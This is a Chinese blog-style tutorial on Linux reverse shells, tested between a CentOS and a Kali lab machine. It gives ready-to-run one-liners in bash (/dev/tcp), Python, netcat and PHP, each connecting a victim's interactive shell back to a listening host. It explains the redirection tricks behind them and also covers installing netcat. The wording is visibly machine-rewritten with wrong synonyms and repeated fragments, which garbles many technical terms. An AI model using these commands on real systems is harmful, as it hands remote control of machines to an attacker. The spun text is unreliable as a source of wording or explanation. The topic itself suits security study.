Linux下几种反弹Shell方法的总结与理解

之前在网上看到很多师傅们总结的linux反弹shell的一些措施,为了更纯熟的去运用这些技巧,于是自己花精力查了很多资料去理解这些敕令的含义,将钻研的成果记录在这里,所谓的反弹shell,指的是我们在自己的机械上开启监听,然后在被进击者的机械上发送连接哀求去连接我们的机械,将被进击者的shell反弹到我们的机械上,下面来先容阐发几种常用的措施。

实验情况

CentOS 6.5:192.168.0.3

kali2.0:192.168.0.4

措施1:

反弹shell敕令如下:

bash -i >& /dev/tcp/ip/port 0>&1

首先,应用nc在kali上监听端口:

nc -lvp 7777

然后在CentOS6.5下输入:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

可以看到shell成功反弹到了kali上面,可以履行敕令:

在解释这条反弹shell的敕令道理之前,首先必要掌握几个点。

linux文件描述符:linux shell下有三种标准的文件描述符,分手如下:

0 – stdin 代表标准输入,应用1 – stdout 代表标准输出,应用>或>>

2 – stderr 代表标准差错输出,应用2>或2>>

还有便是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准差错输出重定向至文件。

当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

也有师傅把&这个符号解释为是取地址符号,学过C说话的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准差错重定向到标准输出,假如直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准差错输出输出到1这个文件里而不是标准输出,而&的感化便是为了区分文件和文件描述符:

理解了上面这些常识,下面来解释一下这一条反弹shell的敕令首先,bash -i代表在本地打开一个bash,然后便是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相称于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准差错输出重定向到这个文件,也便是通报到远程上,假如远程开启了对应的端口去监听,就会接管到这个bash的标准输出和标准差错输出,这个时刻我们在本机CentOS输入敕令,输出以及差错输出的内容就会被通报显示到远程。

在本地输入设备(键盘)输入敕令,在本地看不到输入的内容,然则键盘输入的敕令已经被输出到了远程,然后敕令的履行结果或者差错也会被传到远程,查看远程,可以看到标准输出和标准差错输出都重定向到了远程:

下面在该敕令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也便是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了:

那么,0>&2也是可以的,代表将标准输入重定向到标准差错输出,而标准差错输出重定向到了/dev/tcp/ip/port这个文件,也便是远程,那么标准输入也就重定向到了远程:

为了更形象的理解,下面给出了全部历程的数据流向,首先是本地的输入输出流向:

履行bash -i >& /dev/tcp/ip/port后

履行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:

[1] [2] [3]下一页

措施2:

应用python反弹,反弹shell敕令如下:

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘ip’,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,’-i’]);”

首先,应用nc在kali上监听端口:

nc -lvp 7777

在CentOS下应用python去反向连接,输入:

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.0.4’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,’-i’]);

可以看到kali上成功反弹到了shell,可以履行一些敕令:

在已经深入理解了第一种措施的道理后,下面来解释一下python反弹shell的道理。

首先应用socket与远程建立起连接,接下来应用到了os库的dup2措施将标准输入、标准输出、标准差错输出重定向到远程,dup2这个措施有两个参数,分手为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C说话里的指针,将fd1赋值给fd2,就相称于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也便是建立socket连接返回的文件描述符,颠末测试可以看到值为3。

于是这样就相称于将标准输入(0)、标准输出(1)、标准差错输出(2)重定向到远程(3),接下来应用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准差错输出又被重定向到了远程,这样的话就可以在远程履行输入敕令了。

措施3:

应用nc反弹shell,必要的前提是被反弹shell的机械安装了nc,CentOS6.5安装nc措施如下:

1、下载安装

wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

tar -zxvf netcat-0.7.1.tar.gz -C /usr/local

cd /usr/local

mv netcat-0.7.1 netcat

cd /usr/local/netcat

./configure

make && make install

2、设置设置设备摆设摆设

vim /etc/profile

添加以下内容:

# setnetcat path

export NETCAT_HOME=/usr/local/netcat

export PATH=$PATH:$NETCAT_HOME/bin

保存,退出,并使设置设置设备摆设摆设生效:

source /etc/profile

3、测试

nc -help成功

之后在kali上应用nc监听端口:

nc -lvp 7777

在CentOS上应用nc去反向连接,敕令如下:

nc -e /bin/bash 192.168.0.4 7777

这里的-e后面跟的参数代表的是在创建连接后履行的法度榜样,这里代表在连接到远程后可以在远程履行一个本地shell(/bin/bash),也便是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以履行敕令。

留意之前应用nc监听端口反弹shell时都邑有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc赞助文档的提示加上-n参数就可以不孕育发生这个警告了,-n参数代表在建立连接之前纰谬主机进行dns解析。

nc -nlvp 7777

假如nc不支持-e参数的话,可以使用到linux中的管道符,首先在kali上开启监听:

nc -nvlp 6666

nc -nvlp 7777

之后在CentOS上应用nc去反向链接:

nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

这里经由过程在kali上监听两个端口,然后在应用CentOS进行反向连接的时刻应用到了管道符,管道符的感化是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入敕令,将敕令输出通报至本地的/bin/bash,经由过程本地shell解释履行敕令后,将敕令履行的结果以及差错输入到远程的7777端口。

上一页[1] [2] [3]下一页

措施4:

应用php反弹shell,措施如下 。 首先最简单的一个法子,便是应用php的exec函数履行措施1反弹shell的敕令:

php- ‘exec(“/bin/bash -i >& /dev/tcp/192.168.0.4/7777”)’

还有一个是之前乌云常识库上的一个姿势,应用php的fsockopen去连接远程:

php -r ‘$sock=fsockopen(“ip”,port);exec(“/bin/bash -i &3 2>&3”);’

这个姿势看起来有一些难以理解,尤其是还呈现了这个符号,当然假如把&看着是取地址符或者是引用,那照样可以理解的,为了更方便的理解,我在这将这条敕令轻细改动了一下,类似于前面的第二种措施。

有了之前的根基,我们知道3代表的是应用fsockopen函数建立socket返回的文件描述符,这里将标准输入,标准输出和标准差错输出都重定向到了远程

在CentOS上反向连接,输入:

php -r ‘$sock=fsockopen(“192.168.0.4”,7777);exec(“/bin/bash -i 0>&3 1>&3 2>&3”);’

留意php反弹shell的这些措施都必要php关闭safe_mode这个选项,才可以应用exec函数。

总结

写这篇文章加上查阅资料花了一天多的光阴,感到自己现在真正的将这四种措施理解透了,能够自己去写一些反弹shell的敕令了,以是付出照样值得的,网上还有不少反弹shell的敕令,今后自己会赓续的弥补,It’s the climb!

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包